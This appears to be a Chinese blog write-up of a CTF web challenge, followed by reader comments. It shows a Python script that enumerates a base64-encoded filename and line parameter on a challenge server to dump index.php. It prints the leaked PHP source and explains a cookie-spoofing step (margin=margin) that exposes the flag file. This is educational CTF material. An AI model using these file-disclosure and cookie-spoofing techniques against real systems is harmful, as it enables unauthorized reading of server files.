AI智能摘要
AI 生成的文章内容摘要
首页是一串乱码,但是可以从URL看出最后的$file参数的值是base64加密的

解密之后得到加密的参数是key.txt,$line的参数什么都没有,作用是显示文件中对应的行的内容,如果是1就显示1行,由此我们编写脚本跑出index.php中对应的内容,脚本代码如下:
#!coding:utf-8
import requests
s = requests.session()
for i in range(20):
url = 'http://123.206.87.240:8002/web11/index.php?line=%s&filename=aW5kZXgucGhw'%i
get = s.get(url)
text = get.text
print text
脚本跑出的index.php内容如下,我对代码写了一些简单的注释:
- <?php
- error_reporting(0); //屏蔽错误信息
- $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //将filename参数的值加密、没有值就为空
- $line=isset($_GET['line'])?intval($_GET['line']):0; //判断line参数是否有值,如果没有值就默认给个0
- if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); //如果$file参数为空,URL就默认成header里面的东西
- //定义了一个文件列表
- $file_list = array(
- '0' =>'keys.txt',
- '1' =>'index.php',
- );
- //如果cookie的值为 margin=margin,就给file_list列表里增加了一个keys.php
- if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
- $file_list[2]='keys.php';
- }
- //如果$file的文件名在file_list里面,就显示$file这个文件的内容
- if(in_array($file, $file_list)){
- $fa = file($file);
- echo $fa[$line];
- }
- ?>
通过上面的代码我们可以看到,flag应该在keys.php这个文件中,如果filename=keys.php,并且cookie的值为 margin=margin,就会打印出flag,这里的filename的值需要base64加密,于是我们构造payload如下:

成功拿到flag。。。

宁夏银川市 1F
恩,不错。继续努力
宁夏银川市 2F
学习一下Cookie欺骗
bugku过不去了
印度尼西亚 3F
@豆包 这是不是CTF练习题啊
荷兰 B1
@ UranusSky 没错,就是CTF里的web题,主要考察cookie参数和编码绕过这些知识点。
韩国 4F
看半天才看懂咋跑的脚本😂
贵州省黔南州 B1
@ 刀锋游侠 多看看就懂了
上海市 5F
这个payload构造得挺巧妙的
浙江省 6F
有没更简单的办法拿flag啊
河南省洛阳市 B1
@ 元素支配者 有没更简单的办法?
广东省深圳市 7F
之前也卡在这题,搞了半天cookie
山东省济南市 8F
keys.php里到底啥内容?
韩国 B1
@ 沉默的弦理论 里面就是flag啊
印度 B1
@ 沉默的弦理论 keys.php里不就是flag嘛,试了才知道😂
浙江省杭州市 9F
为啥要加cookie才能显示keys.php?
日本 10F
这代码看得我头大
山西省吕梁市 11F
感觉好复杂,直接放弃
陕西省渭南市富平县 12F
有人试过改line参数吗?
韩国 B1
@ 包子头 改line参数没用,文件内容就那一行
山东省滨州市 13F
拿flag那段能再详细点不?
上海市 14F
脚本跑出来的index.php内容没贴全吧?
马来西亚 15F
Cookie那个条件设置得挺有意思的
山东省济南市章丘市 16F
为啥要base64加密啊,直接传不行吗
北京市 17F
keys.php里是flag吗?
日本 18F
这个payload构造得真巧妙
印度 B1
@ 毛茸茸 构造是挺绕的,关键是想到cookie注入
辽宁省沈阳市 19F
看晕了,代码太多
黑龙江省 20F
这个题我也做过,确实挺绕的
湖北省宜昌市 21F
这题纯靠猜cookie状态,太阴间了
浙江省温州市 22F
之前做CTF也栽过这种坑,真烦
辽宁省沈阳市 23F
求问base64那块咋手动解的?在线工具吗?
甘肃省张掖市 24F
看脚本循环range(20)我都懵了,有必要跑这么多?
江苏省淮安市 25F
cookie设margin这个点还挺隐蔽的
北京市 26F
这cookie margin的点挺巧妙的
北京市 27F
keys.php这个文件名不仔细看真容易漏掉
北京市 28F
原来cookie还能这么用,涨姿势了
美国 B1
@ 随风而逝 哈哈,学到了就好😄